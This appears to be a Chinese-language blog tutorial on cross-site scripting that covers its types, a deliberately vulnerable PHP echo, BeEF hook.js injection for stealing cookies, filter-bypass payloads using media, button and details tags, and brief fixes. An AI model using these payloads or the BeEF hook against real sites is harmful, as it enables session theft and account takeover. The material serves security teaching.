进阶篇 7. XSS漏洞

79 阅读2分钟

XSS 漏洞

1. XSS 简介与危害

简介
  • 跨站脚本攻击 XSS(Cross Site Scripting)
  • 为了区分 CSS,所以命名 XSS 避免混淆
  • 攻击方式:恶意攻击者往 Web 页面里插入恶意 Script 代码,XSS 就是使用 JS 作为恶意代码的攻击行为
危害
  1. 盗取各类用户账号,如网易账号、管理员账号,各大网站账号
  2. 控制企业数据,包括读取、篡改、添加、删除敏感数据
  3. 盗窃企业重要资料
  4. 非法转账
  5. 强制发送电子邮件
  6. 网站挂马
  7. 利用重定向语句控制受害者机器向其它网站发起攻击
  8. 窃取 cookie 的 sessionid,冒充登录。

2. 反射型与存储型 XSS

反射型
  • 参数未验证,脚本在url中
<?php
    echo $_GET['x'];
?>

访问 http://127.0.0.1/1.php?x=<script>alert(1)</script>
存储型
  • 攻击数据存储在服务器上(数据库)
  • 常见于留言板,备注,论坛
DOM 型
  • 攻击数据存储在前端,以js形式触发

3. XSS 综合案例

案例 1
  • XSS 漏洞重现

  • 使用 Beef 工具进行 XSS 漏洞利用

    • 更新源 apt-update 然后安装beef apt install beef-xss
    • beef-xss 获取beef面板和hook.js
    [*]  Web UI: http://127.0.0.1:3000/ui/panel
    [*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
    [*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
    
    • 通过beef面板获取cookie和其它操作 image.png
局限
  1. 存在漏洞
  2. 浏览器版本问题
  3. 需要登录
  4. 防护措施如 WAF 等
  5. 如何触发漏洞(核心问题)

4. XSS 的绕过技巧与修复

注入技巧
  • 标签语法替换

    • 使用 audio
     <audio src=x onerror=alert(47)>
     <audio src=x onerror=prompt(1);>
     <audio src=1 href=1 onerror=javascript:alert(1)></audio>
    
    • video 标签
    <video src=x onerror=alert(47)>
    <video src=x onerror=prompt(1);>
    
    • button 标签等
    <button onfocus=alert(1) autofocus>
    <button/onclick=alert(1) >xss</button>
    
加密算法
  • 使用细节元素 openontoggle
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >

97,108,101,114,116,40,49,41 = alert(1)
工具使用
修复方案
  • cookie 添加 HttpOnly 属性 防止cookie调用
  • WAF
  • 代码输入、输出验证